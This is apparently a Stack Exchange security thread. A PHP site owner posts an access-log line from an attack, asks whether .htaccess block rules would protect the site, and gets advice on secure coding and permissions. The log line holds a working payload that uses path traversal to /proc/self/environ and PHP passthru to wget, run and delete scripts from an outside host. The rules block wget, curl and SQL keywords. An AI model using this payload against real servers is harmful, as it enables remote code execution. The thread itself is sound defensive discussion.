2

See these related questions from the same user about the same incident first:

I am sorry having a really simple question but I need help ASAP as my website (a php/mysql registering app) has been attacked.

So far this is what happened:


121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

So I have two setting so fat that I would like to merge or check with this community to see if this would protect me better:

code1

# proc/self/environ blocked this is what attacked your site
RewriteCond %{QUERY_STRING} proc\/self\/environ [OR]
# Block out any script trying to base64_encode stuff to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]

code 2

## Block other useful stuff
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|&#x0A;|&#x0D;).* [NC,OR]

RewriteCond %{HTTP_REFERER} ^(.*)(<|>|’|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC,OR]
RewriteCond %{HTTP_COOKIE} ^.*(<|>|’|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|’|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC,OR]

#Block MySQL injects
RewriteCond %{QUERY_STRING} ^.*(;|<|>|’|”|\)|&#x0A;|&#x0D;|&#x22;|&#x27;|&#x3C;|&#x3E;|&#x00;).*(/\*|union|select|insert|cast|set|declare|drop|u pdate|md5|benchmark).* [NC,OR]

RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(<|>|’|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC]

# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L] 

Any help would be appreciated!:)

Update:

I have php.ini setup for register_global and magic_quotes off

TryHarder
  • 257
  • 4
  • 9

1 Answers1

2

You should be fixing the code that causes the problem, rather than throw stuff at it and hope it blocks the malicious stuff. Your .htaccess blocks access to /proc, which is good, but it's not the only thing you want to protect. Blacklisting like this won't get you far, as there are dozens of other directories you want to protect, and which ones those are depends on the server OS and configuration.

Part of the attack you've been a victim of involves path traversal, that is, breaking out of the web root by submitting a relative path in a query string parameter that somehow gets worked into a filename. To fix this part, check the entire codebase for strings that are used as filenames (this includes include and require statements), and sanitize those. The worst cases are those where the filename is used to execute a file as PHP code (intentionally or not), but an innocent file_get_contents can be enough to form a security risk (e.g. when an attacker can trick it into serving a file containing database passwords).

Next, check all parts of your codebase that use strings as code (eval and friends). It's best to eliminate them entirely - they're hardly ever needed, and the price you pay for the perceived convenience is not worth the trouble.

Then there's XSS; you want to make sure that anything you send to the client is properly encoded as HTML. Any string you pull from the database should be considered text, and sending it without converting it to HTML first is plain out wrong and dangerous. Check everything in your code that produces output (which is typically a lot), and make sure all dynamic strings are properly encoded (htmlspecialchars() does this for you). It is important to have a clear understanding which of your strings are text and which ones are HTML - while using one as the other technically works, it is, again, wrong and dangerous.

SQL Injection is another low hanging fruit for attackers. The way you are trying to protect yourself is popular, but very inefficient. It fails on multiple accounts - there are tons of tricks you can use to still inject SQL without using any of the blacklisted strings, and the more you blacklist, the higher the chance for false positives. I've seen people block single quotes altogether as part of SQL injection prevention, with the result that it was impossible to find any customers named O'Brien (of which there were several). To properly solve SQL Injection, make sure all your queries are parametrized. Unfortunately, the old-school mysql_XXXX() API doesn't support these, so people just happily concatenate queries, which, again, is wrong and dangerous. I'm talking about things like these: mysql_query("SELECT * FROM foo WHERE bar = '$baz'");. Since PHP offers both the mysqli interface and the PDO API, you should really use these and provide all dynamic values as parameters to your query - the underlying MySQL library will then handle all escaping and safeguarding for you.

Also very important: PHP settings. Turn off register_globals (the most dangerous setting I've ever seen), magic_quotes (it does nothing but suggest a false sense of security and an excuse to write sloppy code), review the recommendations from php.net themselves.

And: file permissions. Make sure your web server has read-only access to your scripts, write access only to specific directories where it is absolutely required, and no access at all to files it doesn't need.

Additionally, put a .htaccess with Deny From All in it into every directory you don't want to serve from. Note that this will not prevent the web server from accessing those files, but it will cause apache to ignore requests that resolve directly to anything in one of these directories - you can still include from there, or read data from files in them, they just can't be requested from the outside.

And finally, a more general thing to do: Review all points where untrusted data enters your system ($_POST, $_GET, $_COOKIE, parts of $_SERVER, and anything that comes from the database is untrusted in this context), and follow its path. See if at any point abuse may be possible.

If you have the budget, you should also consider a professional audit - a skilled hacker will be able to quickly poke through any remaining security holes, and tell you how to fix your specific problems.

tdammers
  • 1,776
  • 9
  • 14
  • First of all thank you for your generous and long answer. It is now a bit more clear that my code needed to be sort out. However it is a huge job for me and I am not sure if I have a money to ask anybody. However I try to do my best step by step. Hope I will still fast enough before someone will find me again. – TryHarder Sep 13 '11 at 14:50
  • My issue is I don't know where the attack came from and which bit should I fix first. php.ini: I've got register_globals and magic_quotes off for a start – TryHarder Sep 13 '11 at 14:51
  • @Andras, I explained how the attack worked in your other question several hours ago: http://security.stackexchange.com/questions/7080/how-to-find-and-protect-against-the-exploited-vulnerability-in-an-php-application/7095#7095 – Hendrik Brummermann Sep 13 '11 at 14:54
  • the site really don't need any file/folder writing as I don't have upload and writing function. I only work in the DB. This would assume that I could change the /public_html/ folder to 711 so I can do everything and others can execute files. Am I correct? thanks – TryHarder Sep 13 '11 at 14:56
  • @ Hendrik Brummermann yes you are right, however I need to find the root and I am not that clever yet. So I am searching the solution meanwhile I try to cover the obvious holes so I can work on the code then, but I don't know how to find the hole in my code yet. Therefore appologise for the same question but php.ini and .htaccess would be the easiest and fastest Temporary solution I believe – TryHarder Sep 13 '11 at 15:01
  • @Andreas: 711 is too broad. Why does the web server need write access? Why does anyone except the web server need any access at all? – tdammers Sep 13 '11 at 15:04
  • thanks for the help so what would you recommend? – TryHarder Sep 13 '11 at 15:15
  • if the web server owns the files, 700 or 500 should be enough. – tdammers Sep 13 '11 at 15:21
  • thanks I am going to try them out see if this works in my case. Thanks again. What would you recommend for the files permissions? – TryHarder Sep 13 '11 at 19:11
  • Hi I tried with 500 and 700 the /public_html/ folder but I could not open a file after it. I guess I do something wrong. – TryHarder Sep 13 '11 at 19:19
  • Who owns the file? Which group is the file in? Under which user did you try? Under which user does apache run? What groups are the users in? – tdammers Sep 13 '11 at 19:23
  • let us [continue this discussion in chat](http://chat.stackexchange.com/rooms/1333/discussion-between-tdammers-and-andras-sebestyen) – tdammers Sep 13 '11 at 19:23
  • hi I am open for a discussion:) – TryHarder Sep 13 '11 at 19:30